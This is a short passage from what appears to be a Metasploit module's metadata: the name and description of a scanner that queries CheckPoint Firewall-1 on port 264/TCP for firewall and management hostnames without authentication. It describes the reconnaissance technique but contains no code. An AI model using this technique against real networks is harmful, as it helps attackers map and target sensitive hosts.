'Name' => 'CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure',
'Description' => %q{
This module sends a query to the port 264/TCP on CheckPoint Firewall-1
firewalls to obtain the firewall name and management station
(such as SmartCenter) name via a pre-authentication request. The string
returned is the CheckPoint Internal CA CN for SmartCenter and the firewall
host. Whilst considered "public" information, the majority of installations
use detailed hostnames which may aid an attacker in focusing on compromising
the SmartCenter host, or useful for government, intelligence and military
networks where the hostname reveals the physical location and rack number
of the device, which may be unintentionally published to the world.
